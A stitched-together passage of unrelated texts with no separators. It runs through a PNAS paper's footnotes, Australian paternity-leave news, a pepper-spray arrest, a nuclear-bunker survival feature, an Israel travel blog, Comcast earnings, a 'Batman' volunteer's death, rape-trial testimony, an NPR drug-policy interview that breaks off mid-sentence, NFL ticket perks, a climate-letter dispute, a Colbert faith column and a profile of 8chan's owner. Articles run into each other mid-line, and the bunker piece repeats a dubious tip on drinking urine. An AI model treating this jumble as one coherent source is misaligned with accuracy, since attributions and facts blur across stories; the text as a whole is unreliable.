sociospatially multidirectional impacts of adjustment on children. This effort would give policy makers the opportunity to identify both beneficial and adverse effects over time, and thus to orient adjustment policies toward fostering economic stability without endangering population health.
Footnotes Author contributions: A.D. and L.P.K. designed research; A.D. performed research; A.D. collected the data; A.D. analyzed data; and A.D. wrote the paper in collaboration with E.N., B.R., A.E.K., T.H.S., and L.P.K.
The authors declare no conflict of interest.
This article is a PNAS Direct Submission. A.S. is a guest editor invited by the Editorial Board.
See Commentary on page 6421.
This article contains supporting information online at www.pnas.org/lookup/suppl/doi:10.1073/pnas.1617353114/-/DCSupplemental.NEW fathers will get about $1180 to wet the baby's head when the Gillard government introduces paid paternity leave from January 2013.
The government will use Father's Day to announce the extension to the national paid parental leave scheme, hoping it will be a diversion from the leadership tensions surrounding Julia Gillard, who has told colleagues they would have to blast her out of the job.
"We know that it's not just mum who needs the time to form these important bonds with the new baby"... Minister for Families and Social Inclusion, Jenny Macklin. Credit:Louise Kennerley
Fathers or partners will get cheques paid over two weeks at the national minimum wage - now $590 a week before tax - to give them time off work to help mothers care for their newborns.
The government's original plans for a paid paternity leave scheme were forced off the agenda by the global financial crisis and then the big blow to the nation's coffers caused by natural disasters at the start of this year.ASHBURN, VA — A Herndon man has been arrested after police say he sprayed a group of middle school children walking home from school on the Washington and Old Dominion Trail in Ashburn with pepper spray as he rode past on his bicycle.
Police were called to the 44200 block of Gloucester Parkway at around 4:05 p.m. on Aug. 31 to a report of an assault on the W&OD Trail, according to a report from the Loudoun County Sheriff's Office.
Police say a group of middle school-aged children were walking on the trail when a "cyclist approached and reportedly was holding a can in his hand," the report states.
"As the cyclist passed, he sprayed what the juveniles believed to be pepper spray in the direction of several of the children," the report continues. "Deputies located the cyclist in the area of the W&OD trail and Ruritan Circle."
Police arrested 47-year-old Marcos A. Catalan of Herndon on charges of malicious injury by use of caustic substance (two counts) and attempted malicious injury by caustic substance.
Two girls were taken to the hospital for treatment, and are expected to recover fully, the report states.
Catalan is being held without bond at the Loudoun County Adult Detention Center.
Image via LCSOIt's Thanksgiving week in the US, and most of our staff is recovering from food and family rather than a Friday at the office. As such, we're resurfacing this story of visiting old nuclear bunkers in the UK (you know, in case you need a break from family this weekend). This story originally ran on November 19, 2015, and it appears unchanged below.
Press events are usually decadent affairs of food, drink, and well-dressed executives in up-market hotels. Not this one. A small number of journalists including your correspondent were dumped at dusk in a wet field in the Essex countryside, given blue boilersuits and a small knapsack containing bottle-tops and leaflets, and told to await developments. As most press events don’t ask for disclosure of any medical conditions, nor involve signing a waiver against accidents, those developments were unlikely to be pleasant.
But then, it’s rarely pleasant after a nuclear war. In honour of the launch of Fallout 4, set in the aftermath of virtual atomic conflict, we were about to be taken into an ex-government, ex-secret nuclear bunker and trained to survive the apocalypse. Not the zombie kind, which has of late spawned an entire industry of movies, games, and survival books, but the real thing, which hasn’t.
You probably haven’t thought nearly as much about atomic weapons as you have about zombies. That’s odd. Zombies don’t exist, while on the other hand there’s a nuke programmed with your postcode sitting in a bunker right now (see "Atomic Weapons: A Consumer’s Guide" later in this story for more details). The real apocalypse could be four minutes away from now. Really.
If a nuke lands near your house, rather than on top of it, we figured you'd like some tips on how to survive the apocalypse.
Step one: Find a bunker
Here, we were lucky: a bunker had been provided. Kelvedon Hatch is an underground, three-floor complex built in the early 1950s with its own power, water, and filtered air conditioning. Disguised as a hill with a bungalow on top, the deception is somewhat marred by a huge radio mast. The bunker saw various uses, most notably as a regional HQ for government in the event of the big one, before being sold off in the 1990s with most of its accoutrements intact.
Fully stocked, it can support up to six hundred people for up to three months. Those supplies are important: the first thing we learned was that you will die from dehydration in about three days or from starvation in three weeks. If you don’t have safe sources of food or water, you can drink your own urine (or, indeed, someone else’s) up to three times before it becomes toxic. Muscle meat from apparently healthy animals may be safe, but not other parts. Anything exposed, gritty, or dirty is very unsafe. Tinned food, if you can find it, is your best bet, and you can use living plants to filter water simply by putting their roots in it—rhizofiltration. Species like sunflowers are amazingly efficient at absorbing contaminants from the environment, but it can take weeks.
You’re better off in the bunker. Not just because that’s where the food is, but because it can keep others out. One of the first effects of nuclear warfare, and one that can hit before the bombs, is a breakdown in law and order as people try to self-evacuate from cities to the safer parts of the country—deep rural areas like northern Scotland and remote Wales. The roads will clog, petrol will run out as supply chains collapse, food supplies will be hoarded, and violence will break out.
We know this because the UK government ran three exercises in the late '70s and early '80s called Scrum Half, Square Leg, and Hard Rock, positing attacks of around 100-200 nuclear warheads. The results were a massive breakdown in infrastructure, starting as international tensions rose, and “vast destruction, enormous casualties and widespread chaos” as the bombs fell, with easily more than half the population dead in the first few days after the actual attack.
Anyone left will probably want to eat you. Get in the bunker.
Step two: Stay in the bunker
Once you’re in the bunker—stay there. Assuming you haven’t been injured by the heat flash, initial radiation, or blast wave from a nuclear strike, your next major problem is fallout: the now-radioactive soil and other materials pushed into the air by the blast. Alpha radiation isn’t dangerous while it’s outside you, because it’s easily stopped by air and your skin; inside you, inhaled or ingested, it’s vastly disruptive to DNA. Beta radiation is more penetrating but still hugely attenuated by modest shielding. Gamma is best avoided.
However, the good news—for certain values of good—is that the sort of fallout radiation provided by standard thermonuclear weapons has a reasonably short half-life. It decays by a factor of ten for each factor of seven increase in time—in other words, after seven hours, the radiation has decreased tenfold. After two weeks, it’s down to one thousandth. 14 weeks, one ten thousandth.I’ve spent the last week touring through the country of Israel. Visiting the popular cities of Jerusalem and Tel Aviv, touring the old port town of Akko (Acre), floating in the Dead Sea and a whole lot more. Not only did I capture the entire trip with photos and videos I also highlighted many of my favourite moments on Instagram.
Make sure you are following me on instagram.
To see more posts highlighting my travels through instagram check out these posts: Dubrovnik, Maui, Jordan, Costa Rica, South Africa and Indonesia.
The view of Tel Aviv and the Mediterranean Sea from my window on the 19th floor of the David Intercontinental Hotel. As you can see the city has a big mix of religion, modernization and beach bums.
Chicken stuffed figs in tamarind sauce. While touring around Israel we ate like kings…. or should I say Gods? We had a multi-course meal at a famous restaurant in Jerusalem called The Eucalyptus.
Everywhere we went in Tel Aviv there was pretty and crazy Graffiti. This one of a Rodin Thinker fireman sitting on a fire hydrant was taken in the artsy neighbourhood of Neve Tzedek.
A floating orange tree in Tel Aviv, Israel by by the sculptor Ran Morin.
We were in Israel during Pomegranate season and at every shop and on every corner you could find guys fresh squeezing the delicious fruit. So tasty!
Street art / Graffiti by the famous street artist Dede in Tel Aviv, Israel.
Jewish men pray at the Western wall in the old part of Jerusalem, Israel.
Fresh Kanafeh, a favorite dessert of middle eastern countries was served to has at the popular Uri Buri Fish and Seafood restaurant in the small port city of Akko (Acre), Israel.
Pomegranates the size of my head in Israel. They were very sweet and not sour like the ones I am use to in North America.
Three women hang out on a bench at a popular organic market in Tel Aviv, Israel called HaTahana.
Locals, tourists and young girls in the Israeli Military carrying their machine guns walk through the Machne Yehuda market in Jerusalem, Israel.
Israel also had a lot of popular Gelato places, some made with soy milk so that they are considered kosher. Here is a delicious mint chocolate chip ice cream I ate in Tel Aviv.
One of the many mountains that make up the city of Jerusalem, Israel.
People float in the Dead Sea in Israel.
At the popular Uri Buri Fish and Seafood restaurant in the port city Akko (Acre), Israel we ate red and black caviar on top of a persimmon with mascarpone and raw fish.
A favorite dessert of the people of Israel is called Halva made of sesame paste and sugar. Here it is shredded and served on top of kosher vanilla soy ice cream.
Sunset at the Dead Sea in Israel.
The Old Port in the seaside town of Akko (Acre), Israel.
The building that holds the Holocaust History Museum at the Yad Vashem Museum in Jerusalem, Israel.
Finally the man himself. Uri Buri. Owner and Chef at the previously mention Uri Buri Fish and Seafood Restaurant. He is also a hotelier and owns another restaurant and a gelato shop. You must visit him when visiting Akko (Acre), Israel.
I hope you enjoyed my short tour through Israel. Which photo was your favourite? Leave a comment below.
Thanks to the Tourism board of Israel for having me on this trip. All opinions and views expressed are my own.Comcast Corp. saw its second-quarter net income rise more than 7% as audiences flocked to movies from itsUniversal division and more customers picked up high-speed Internet service from its cable unit.
The Philadelphia owner of NBCUniversal said net income in the period came to $2.14 billion, or 84 cents a share, compared with $1.99 billion, or 76 cents, a year earlier. Revenue rose 11% to $18.74 billion, compared with $16.8 billion in the year-earlier period.
The results came even as performance at the company’s TV networks softened as the result of shifts in the way marketers are advertising. Advertising revenue at the company’s cable networks, under NBCUniversal, fell 3%, and advertising revenue at its broadcast operations increased only a little, Comcast said. While NBCUniversal notched a greater amount of advance advertising commitments in the recent “upfront” market, when TV companies try to sell the bulk of their ad time for the coming programming cycle, commitments placed against primetime entertainment on NBC were flat and ad-buying executives have said NBCU had to make pricing concessions at its cable networks to gain better deals at its NBC broadcast outlet.
But performance at the company’s other operations carried the day. Revenue from NBCU’s filmed-entertainment segment rose 92.7% to $2.3 billion, driven by what Comcast said was record performances of “Furious 7” and “Jurassic World.” And the company said it narrowed losses of subscribers who were “cord cutting” and abandoning its video services to 69,000, compared with 144,000 in the year-earlier period. Comcast saw a revenue increase of 10% from high-speed Internet customers, 20.4% from customers of business services and 3.7% from video customers.
Revenue from Comcast’s overall cable operations rose 6.3% to $11.7 billion, compared to $11 billion in the year-earlier period, while revenue from NBCUniversal rose 20.2% to $7.2 billion, compared to $6.0 billion in the second quarter of 2014.Image copyright Pittsburgh Tribune-Review Image caption Robinson had been visiting sick children since 2001 but shot to fame in 2012
An American man famed for dressing up as Batman and visiting sick children in hospital has died after he was hit by a car in Hagerstown, Maryland.
Police said Leonard Robinson's car had broken down in the fast lane of a major highway when the incident occurred.
He was struck by his own "Batmobile" after another car careered into it.
Robinson, 51, rose to fame in 2012, when a video went viral of him being pulled over by police because his car had invalid number plates.
Known as the "Route 29 Batman", Robinson had spent the last 14 years visiting sick children in hospital and handing out Batman paraphernalia in full superhero dress.
Media playback is unsupported on your device Media caption Police could be heard on the 2012 video saying "you can send me Robin if you wish"
According to the Washington Post, he sold his commercial cleaning business to help fund his "Batmobile" - a black Lamborghini. The paper said he spent more than $25,000 (£16,000) of his own money on Batman toys, T-shirts and books to give to children.
"I'm just doing it for the kids," Robinson told the paper in a profile of him from 2012.
He also drove a replica of the car from the 1960s Batman TV show, which he went on to use to visit children in hospitals across the country.
His son would occasionally join him on hospital visits dressed as Batman's sidekick, Robin.
Robinson was never charged in the 2012 incident that thrust him into the public spotlight, telling police he was on his way to cheer up children at a cancer ward in a nearby hospital.
Montgomery County police department, to which the officers belonged, said it was "saddened by the news" of his death.
"The footage depicted a positive and humorous interaction between officers and Robinson. It was evident that the officers and Robinson had a mutual respect for each other and the job that each was trying to accomplish that day," it said in a statement.
A number of people have paid tribute to him on Twitter, including the Bowie Baysox - a minor league Baseball team in Maryland - which said: "The Baysox offer heartfelt condolences to Lenny Robinson's family. He appeared as Batman at the Baysox several times."
According to the Washington Post, he was returning from a car show in Virginia when the incident occurred. Police say the crash is under investigation, but no charges have been filed.He also denied assaulting second woman, claiming she moved his hand to her breast
He told the jury she sent him a photo on Facebook of herself wearing a bra
Durham University student Louis Richardson, who is accused of raping a fellow undergraduate, said the woman flirted with him and sent him suggestive photographs in her bra after the alleged attack
A woman who has accused a Durham University student of rape sent him a photo of her breasts and called him a ‘sexy menace’ in the weeks after the incident, a court heard.
Louis Richardson, 21, has been accused of raping the fellow undergraduate after a night out in March 2014, while she was ‘crazy drunk’.
The former secretary of the university’s debating society told the jury yesterday they had consensual sex that night.
Richardson said they continued to sleep together ‘very frequently’, adding: ‘I thought it was going well.’ They called each other ‘darling’, and in one Facebook message, she told him: ‘I’ll let you spank me.’
She also called him a ‘sexy menace’ and sent him a photo of her cleavage with the message: ‘Present for you, darling.’
Philippa McAtasney QC, defending Richardson, asked him: ‘Did you think anything was wrong at all?’
He replied: ‘That’s not the sort of exchange I would expect of someone that was annoyed at me.’
Richardson told the court that his alleged victim’s boyfriend posed as her online to accuse him of the sexual assault.
He said he received a Facebook message apparently from the woman saying they couldn’t speak to each other any more because she didn’t want to ‘lose’ her boyfriend.
Richardson told a jury he was ‘devastated’, but replied ‘fair enough’ and decided it was best to ‘take it on the chin’. However, a more serious message followed, saying: ‘I have been doing some thinking. I consider our last time rape. I said no and you did it anyway. I ask you not to contact me again... active immediately.’
Richardson said he then received a text from the woman saying that she had not sent the messages, and adding: ‘He wrote it.’ Asked what he made of the online conversation, he said it seemed as if the woman’s boyfriend was ‘intervening’.
He told the court: ‘I knew I had not raped her. I knew she knew I had not raped her. I thought it was seeming like a petty threat done by a boyfriend who was probably a bit over-paranoid.’
Richardson said he was ‘shocked and devastated’ when he was arrested for rape.
Several months later, two university newspapers revealed he had been arrested, and a second woman claimed to police that he had indecently assaulted her at a party.
The 21-year-old (pictured outside Durham Crown Court today), from Jersey, today told a jury how his alleged victim called him a'sexy menace' in a series of flirtatious Facebook messages
Two months after the alleged rape, the first woman mentioned having to call her boyfriend, and Richardson said he ‘started to gather he must be more than just a hook-up’.
She told Richardson the boyfriend didn’t know about them and ‘neither does he care any more’. That night, she told him she had a ‘little rampage’ and self-harmed by carving a word on her upper thigh.
Durham Crown Court heard she told Richardson she was going abroad on holiday with her boyfriend in June. Days before she left they had dinner together.
Richardson said: ‘She said her boyfriend had stopped having girls on the side and she thought she should stop having people on the side too. She implied it was about me.’
He said his interpretation was she chose her boyfriend over him and he felt ‘hurt’ and ‘disappointed’.
Later that evening they were ‘kissing and cuddling’ on the sofa at a friend’s house. Richardson said her bra ‘would have been exposed’ but he denied any improper behaviour. The woman claims he indecently assaulted her by deliberately pulling down her top so another man could see her breasts, and said: ‘Show him your t*** – everyone else has seen them.’
The former secretary of the university's debating society is said to have raped the woman while she was 'crazy drunk' after they returned home from Klute nightclub (pictured) together
Richardson denied making lewd remarks. He said they left together after a friend told them to ‘get a room’. They walked to his shared house but did not have sex. ‘She said no – I respected that,’ he said.
The court was told how, the next day, the alleged victim messaged him to say he must have looked like a ‘high-class, educated, voluntary tramp’ with a book in the pocket of his velvet coat.
Richardson told the jury: ‘It was the same jokey banter that has been going on for weeks before.’ The banter stopped when the woman went on holiday and sent a different kind of message – allegedly written by the boyfriend – on her Facebook account.
It read: ‘I don’t want to hurt you but I feel it’s best we don’t speak any more. You know (boyfriend’s name) is very special to me and my betrayal of him has caused trust issues. I don’t want to lose him, that means I have to lose you.
‘I’m sorry I am such a terrible bitch.’
Richardson then received the ‘rape’ claim message.
He is also accused of sexually assaulting another woman four months later by stroking her indecently as she lay in bed during a student party.
When confronted about the incident by a friend of the woman in a Facebook exchange, Richardson wrote: ‘I must apologise profusely to all parties concerned.’Never Let A Smart Phone Or Tablet Run Out Of Power Again!
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Robert Siegel talks to Michael Botticelli, acting head of the Office of National Drug Control Policy, about battling drug abuse at a time when drug laws are changing around the country.
ROBERT SIEGEL, HOST:
Michael Botticelli brings an interesting personal story to a job that's reached an interesting moment in its history. He is acting director of the Office of National Drug Control Policy - acting drug czar, for short. President Obama has nominated him to the job permanently. He's also a recovering alcoholic, sober for 25 years. And he is coordinating national drug policy at a time of rapid changes in state laws controlling marijuana. It's also a time when prescription painkillers have become a huge drug problem. Michael Botticelli, welcome to the program.
MICHAEL BOTTICELLI: Thank you very much.
SIEGEL: First, marijuana - two states, Washington and Colorado, have legalized marijuana for medical and recreational use. Nearly 20 have legalized it for medical use. Do you see a movement there that cannabis will, in time, be a concern for the FDA, not the DEA or your office?
BOTTICELLI: I think when you look at the movement of states - Colorado and Washington - in terms of legalization as well as medical marijuana, really presents for us a significant public health issue. I think that legalization and, quite honestly, industrialization of marijuana in Colorado and Washington - I think really presents some issues as we've seen with marketing with alcohol and tobacco industries.
We see escalating use. We know that marijuana is addictive. About 1 in 9 people who use marijuana regularly become addicted. So it does present some challenges, I think, in coming at this from a public health perspective.
SIEGEL: Does it mean that people like you have to think in terms of federal regulations of marijuana |
season-ticket holders a way to see action and highlights from other games while simultaneously attending a home team’s game.
It’s one part of the league’s larger effort focused on season-ticket holders.
“Buying a season ticket shouldn’t be just an entrance to 10 games. It should be your passport to a relationship with the club you are a fan of,” said Brian Lafemina, the NFL’s vice president of club business development. “NFL marketing is working on a brand and name around this. … It really will be a platform we will roll out leaguewide.”
The league is not the only entity offering enticements to season-ticket holders. Clubs and sponsors are slated to get involved, and some have already started moving in that direction. The Kansas City Chiefs, for example, last year offered a loyalty program that allows season-ticket holders to earn points that can be used to buy items such as autographed jerseys.
Sponsors could offer season-ticket holders discounts on their products, as another example of a concept making the rounds.
The NFL in recent years has been making a big push to improve the in-game experience as a way to lure fans to stadiums and away from plush in-home entertainment systems. This latest iteration focuses specifically on the fans whom the NFL considers its best customers and how to keep them happy.
Arthur Blank, owner of the Atlanta Falcons and founder of The Home Depot, said today’s customers want more for less.
“For the foreseeable future, we are in a value-based economy,” he said. “People are more concerned about discretionary dollars, and there’s more competition for those discretionary dollars in every area.”
Over the next few weeks, the NFL and an eight-member fan engagement committee, formed in December, will meet to hash out the details of the season-ticket-holder perk program. Each of the eight committee members represents one team from each of the league’s eight divisions. That committee’s input is crucial, in part to shield league executives from any criticism that they are telling teams how to run their businesses.
The initiative is being handled by Lafemina, who reports to Eric Grubman, executive vice president of NFL Ventures and business operations.
One such issue the committee may have to address with the RedZone offering is that some season-ticket holders might be unable to use the new mobile product in-stadium if a team’s facility has poor, if not nonexistent, wireless coverage. Getting stadiums wired is a key league goal. Some stadiums are up to speed and provide full coverage, but many others are dead zones for Wi-Fi coverage.
“We have to solve the Wi-Fi problem,” NFL Commissioner Roger Goodell told reporters last week, “which is to try to bring in more capacity so people can use their phones and their mobile devices in our stadiums.”Critics are attacking as a “climate power play” a letter to Congress from 31 science associations advocating for domestic and natural-security policies predicated on climate change.
Judith Curry, professor at the Georgia Institute of Technology School of Earth and Atmospheric Science, described the June 28 letter as a “blatant misuse of scientific authority to advocate for specific socioeconomic policies.” She added that the professional societies, led by the American Association for the Advancement of Science (AAAS), have “damaged public trust in science” by putting scientists on the same level as lobbyists.
“They claim the science is settled; in that case, they are no longer needed at the table,” Ms. Curry said in a Monday post on her blog Climate Etc. “If they had written a letter instead that emphasized the complexities and uncertainties of both the problem and the solutions, they might have made a case for their participation in the deliberations.
“Instead, by their dogmatic statements about climate change and their policy advocacy, they have become just another group of lobbyists, having ceded the privilege traditionally afforded to dispassionate scientific reasoning to political activists in the scientific professional societies,” said Ms. Curry, a prominent climate change skeptic.
In their letter, the organizations said their intent was to remind members of Congress of “the consensus scientific view of climate change,” reaffirming the message of a 2009 letter signed by 18 scientific associations.
The move comes with the White House facing opposition from House and Senate Republicans in its push for tighter emissions regulations, led by the Clean Power Plan, aimed at countering rising carbon dioxide levels in the atmosphere.
“To reduce the risk of the most severe impacts of climate change, greenhouse gas emissions must be substantially reduced,” said the letter. “In addition, adaptation is necessary to address unavoidable consequences for human health and safety, food security, water availability, and national security, among others.”
Myron Ebell, director of the Center for Energy and Environment at the free market Competitive Enterprise Institute, said most of the letter’s signers “have little or no expertise in climate science, and virtually none knows anything special about making public policies.”
“In this case, the policies being advocated will destroy millions of jobs and cost trillions of dollars, but many of the professionals represented by these associations will probably do very well from more government funding,” Mr. Ebell said.
AAAS chief executive Rush Holt, who also is executive publisher of the Science family of journals, said in a statement that climate change is “real and happening now, and the United States urgently needs to reduce greenhouse gas emissions.”
Other signers include the American Chemical Society, American Meteorological Society, American Institute of Biological Sciences, American Geophysical Union and the American Statistical Association.
“The severity of climate change impacts is increasing and is expected to increase substantially in the coming decades,” said the letter.
Policy concerns aside, the letter calls into question the signers’ impartiality in reviewing and publishing scientific research related to climate change, said Chip Knappenberger, assistant director of the free market Cato Institute’s Center for the Study of Science.
“Obviously folks should be free to deliver their opinions,” said Mr. Knappenberger. “That said, since many of these organizations publish some of the most respected scientific journals, it certainly calls into question the degree of objectivity to which new science pertaining to the issues addressed in the letter is treated with. This is a far greater concern.”
Foes of the Obama administration’s regulatory campaign say the benefits of reducing oil, coal and natural gas use must be weighed against the costs, such as higher energy prices, while taking into account scientific disagreement on the causes and extent of global warming.
“This letter is not balanced, saying absolutely nothing about the unique ability of fossil fuels to provide affordable, reliable energy on a scale of billions,” said Alex Epstein, president of the Center for Industrial Progress. “And it is not careful, failing to distinguish between the trivial fact that CO2 causes some warming with the unfounded speculation that CO2 causes catastrophic warming.”
In her rebuttal, Ms. Curry said the link between “extreme weather” events like wildfires and climate change “hinges on detecting unusual events for at least the past century and then actually attributing them to human-caused warming.”
“This is highly uncertain territory — even within the overconfident world of the IPCC [International Panel on Climate Change],” she said. “And the majority of the signatories to this letter have no expertise in the detection and attribution of human-caused climate change.”
She concluded that the groups “have shot themselves in the foot with this one.”
Copyright © 2019 The Washington Times, LLC. Click here for reprint permission.Could Stephen Colbert become the next Pope?
That’s what some people are saying.
Sure, there are several issues with that.
Like being married, having kids, and not being a priest.
But considering some of Pope Francis’s suggested reforms, even those might not be deal-breakers.
Stephen Colbert, who starts on “The Late Show” on CBS tonight, is America’s most prominent practicing Catholic.
He teaches Sunday school at his home church — St. Cassian in Montclair, New Jersey. Apparently, he is a very effective teacher. He makes his teaching meaningful for his students, doing it with a playful sense of humor.
Colbert pulls no punches about his faith. During a discussion on “The Colbert Report” about God and Satan, a guest gently chided him on his religious philosophy, suggesting that he had learned his lessons well “in Sunday school,” Colbert fired back: “I teach Sunday school, mother ———.”
Some nuns were probably appalled. Others, I suspect, were giving each other high fives.
Stephen Colbert is that rarest of rare birds — someone in the entertainment world who not only takes his faith seriously, but who talks about it, and even teaches about it — in a local church, without fanfare.
I mean, think about it: consider how busy Colbert is. Think of his grueling schedule, and all of the demands on his time.
And yet, he actually takes his own personal time — on a Sunday morning, when he could be sleeping, in or doing other things — to not only go to church, but to teach Sunday school.
That, my friends, is called sacrifice. It didn’t go out of business once we stopped reading Leviticus literally.
We don’t sacrifice bulls anymore.
But, time — that’s something you can offer on the altar of your life.
Wait, you’re saying to yourself: you can’t really mean that the entertainment world is a religion-free zone? What about all the Jews (who supposedly run the industry — heck, even Google knows that)?
Well, what about them?
When it comes to the Jews in the entertainment industry — at least, those who are in front of the cameras — I see a lot of folksy ethnicity. I appreciate — no, I applaud — those Jews in the entertainment business who have stood up for Israel. Frankly, we could use a lot more of them to do precisely that.
But, we are talking about faith here — God, ritual, and attending synagogue — the stuff that gives Jewish life meaning. (No, it’s not the only stuff that gives Judaism meaning. I know that you can be a “cultural Jew,” though I have to think more about what that actually means).
I’m not prowling synagogue in Los Angeles, doing my own “celebrity count.”
But, I sense that there aren’t that many “religious” Jews, live and out there, in the entertainment industry.
There are, of course, worthy and notable exceptions.
Some of them are musicians — like rock star Peter Himmelman, who is an observant Jew, and, of course, Matisyahu, who, despite the fact that he has shorn his beard and side curls, is still an observant Jew.
Mayim Bialik is a proudly Orthodox Jew who regularly studies religious texts. Just last week, she said that it is very difficult to be a person of faith in Hollywood, and that religious commitments are deprecated.
Writer-director-producer David Mamet is a synagogue-going Jew. He attends Ohr HaTorah in Los Angeles, which is led by Rabbi Mordecai Finley (who also influenced singer-songwriter-poet Leonard Cohen). Mamet also has written one of the best books on contemporary Jewish identity.
Kirk Douglas cares deeply about Judaism, and attends Sinai Temple in Los Angeles, led by Rabbi David Wolpe. His son, Michael, and grandson Cameron, have decided that Judaism is their (groan alert) basic instinct.
Sadly, the only time that you hear about religious people in the entertainment business when someone’s faith commitment becomes an open door to bigotry. For example, Mel Gibson, whose foible of anti-semitism was too much for even the late, no-fan-of-faith Christopher Hitchens.
But, if you had removed the theologically-influenced and alcohol-lubricated Jew hatred from the equation, Mel Gibson’s devotion to Catholicism would have been no issue.
Your theology only becomes a problem for others when it starts hurting people.
Believe what you want. Think whatever you want.
You start acting on that stuff — that’s a different story.
OK, back to the Jews in the entertainment world.
What about Colbert’s Jewish doppelgänger — Jon Stewart, nee Jonathan Stuart Leibowitz. (Hey, Jon — did you really have to change your name? Isn’t that a little retro, a little 1950s?)
Yes, Jon Stewart is Jewish. But, totally irreligious.
In fact, check out his otherwise delightful “disputation” with Colbert on Hanukah vs. Christmas. It’s a little early to get into that seasonal conversation, but as far as theology goes, in this one, Colbert hit it out of the park. I mean, he actually believes something and can talk about it — as compared to Jon Stewart’s rather weak defense of a festival with candles and dreydls.
And, to be fair, even and especially serious Christians know that had it not been for the Maccabees, Judaism would have disappeared and, well, no Judaism, no Christianity.
The entertainment business needs more Stephen Colberts — role models of faith.
And we Jews could certainly use a few more, as well.Jim Watkins wants to make The Goldwater the pre-eminent news source for the trolls of 8chan.
Photo Illustration by BuzzFeed News / Getty / Matt Furie
The video opens with a man in his fifties in a dark suit and horn-rimmed glasses like ones Tom Hanks might wear to play a 1960s FBI agent. An onscreen graphic identifies him as Jim Cherney as he reads slowly from a cue card. “Welcome to The Goldwater,” he says, “where we provide an informative view on today’s alternative news headlines.” With headlines like “Anti-Trump Liberals Throw Tantrums by Refusing to Pay Taxes,” The Goldwater appears to be another of the many pro-Trump conservative websites that have sprung up in the past year. A recent video on its YouTube channel warns, “The Shadow Government Is Rumored To Be Conspiring Against President Trump.” But The Goldwater isn’t what it seems. The man in the video uses a made-up name. The site’s videos star attractive Filipina women who deliver pro-Trump news in heavily accented English. And at a time when most news sites obsess over generating traffic from Facebook, The Goldwater largely ignores that platform. Instead, everything it does is catered to the trolls, alt-righters, Trump shitposters, and other anonymous members of the internet’s most deplorable message board, 8chan. Yes, The Goldwater wants to be the pre-eminent news source for internet trolls.
The Goldwater / YouTube
The man funding it is the star of that awkwardly retro welcome video. His real name is Jim Watkins, and he claims The Goldwater attracted a million pageviews last month. But he also acknowledges that many 8channers are puzzled about or downright hostile to the site, which is named for former Republican presidential candidate Barry Goldwater. “What has the response been like? Well, they all think we’re a bunch of Jews, because [Goldwater] is a Jewish name,” Watkins told BuzzFeed News in a phone interview. “There’s a lot of people who think that the Jews are running the world.” Aside from maintaining a board where he shares links to Goldwater content, Watkins says he doesn’t post frequently on 8chan. But he’s well-known to the community because in 2014, Watkins acquired the site from its founder, Fredrick Brennan. “It’s not a good business decision,” Watkins said of the acquisition. “It doesn’t make money, but it’s a lot of fun.”
Jim Watkins / 8chan Jim Watkins
Watkins can afford to fund 8chan’s losses thanks to his other internet successes. In the late ’90s, while serving in the US Army, he struck it rich with a pioneering Japanese porn website called "Asian Bikini Bar." (It's no longer online.) Watkins later quit the Army to focus full-time on his company, N.T. Technology, which manages several web properties. He runs the company from the Philippines, where he's lived with his family since 2007. He said he currently spends most of his working hours on The Goldwater, and in his spare time he tends to his pig farm. Watkins's son, Ron, works for the family business as an admin for 8chan. He isn't involved in The Goldwater but told BuzzFeed News in an email that the site is growing quickly. "The Goldwater is an interesting project and seems to be gaining more and more momentum each day," he said. "It will be interesting to see where The Goldwater is in a year or two."
Watkins also owns 2channel, the original Japanese bulletin board that inspired the English language knockoffs 4chan and 8chan. (Watkins's ownership of 2channel was the subject of a domain dispute from 2channel’s founder, Hiroyuki Nishimura.)
“Hey, I’ve got 15 million people a day looking at my websites,” Watkins said. “I need to give them another news source.” He said 8channers and people like him don’t want news from the New York Times or the Washington Post, which he called “fake news and propaganda.” Watkins said those two publications are untrustworthy because he believes their owners or major shareholders heavily influence news coverage. During the election, that meant they constantly attacked Donald Trump, according to Watkins. “We were just watching the mainstream media, and it’s really one-sided against Donald Trump,” he said. Watkins’ approach differs from the typical hyperpartisan pro-Trump sites in key ways that could work for or against him. His stories eschew the hysterical all-caps headlines that typify so many Facebook-focused politics sites. The Goldwater’s Facebook page has fewer than 20 likes and hasn’t been updated in more than a month. He said the site is beginning to get decent traffic referrals from Google, but Watkins has had issues with Google in the past. His company recently blocked Google from crawling 8chan to index its latest content. This comes after Google itself blocked 8chan from showing up in search results back in 2015. “Google was using up our resources, just spidering and not sending us any traffic, so we just blocked them,” Watkins said. As of now, his main focus is on generating traffic from 8chan. A key method for that is the /newsplus discussion board focused on the news of the day. Goldwater staffers regularly post links to the site. Watkins is betting that his combination of straightforward ideological news delivered partly by attractive women with accented English is a winning combination for trolls. Well, that and a few conspiracy theories thrown in, too.
YouTube / The Goldwater Watkins and his video hosts during the live chat about Pizzagate. Watkins vaped during the show.
Two weeks ago, Watkins hosted a live chat about Pizzagate on The Goldwater’s YouTube channel. Watkins heavily promoted the event on 8chan, as well as on several subreddits. The live chat crowd had usernames like “Jew Gasser” and “White Guy Speaks.” The show began with Watkins and two of his regular female hosts, Jasalle Jash and Diana Printz, sitting in front of a bookcase, laptops open. A Twitter user named Croc Hunter joined in by sending links and Pizzagate explanations to the on-air crew. Speaking with BuzzFeed News a few days after the live event, Watkins said he doesn’t believe the pizzeria that has been falsely implicated in the conspiracy was actually a hotbed of child trafficking activity. But he does believe the false claim that Democratic staffers used code words in emails to talk about child trafficking. “It’s a very hot topic on 8chan and one of the biggest search terms last year on the internet,” he said, explaining why Pizzagate is worth coverage. “Maybe it’s controversial, but that’s what people are talking about. People are disgusted with the way the government was run the last 16 years, so that’s where all that Pizzagate comes from — the absolute corruption behind people that are running the government, and their depravity.” Over the live chat’s two and a half hours, Watkins strayed from one topic to the next. He joked that the acronym for terrorist group ISIL really means “Islamic Slow-Motion Independent Ladies,” had trouble pronouncing “hummus,” told people not to post revenge porn “because girls won’t want to take nudes,” and added to a discussion about incest by joking, “It’s OK to sleep with your cousin as long as she’s over 18.” Aside from promoting The Goldwater, the only other endorsement he offered was for a blueberry vape flavor. During the chat, Watkins described The Goldwater as “a public service to provide news to the 8chan community.” In an interview, he said the news site doesn’t have any banner ads and he doesn’t allow ads on their videos, though he is considering changing the latter. Right now it’s a hobby news site funded by a self-described millionaire serving a community Watkins owns but admits doesn’t like him very much. He used to maintain a board on 8chan where he posted photos of his family and of the pig farm he owns in the Philippines. But he stopped posting after he said 8chan trolls took his photos and photoshopped them into things like “Jim having sex with gay horses.” “I don’t post much on any of the boards — they don’t like me,” he said. “Well, I think the people like me, but the trolls don't really like me.” It’s a strange scenario, given that Watkins saved 8chan from extinction by purchasing the money-losing hub of racism and misogyny 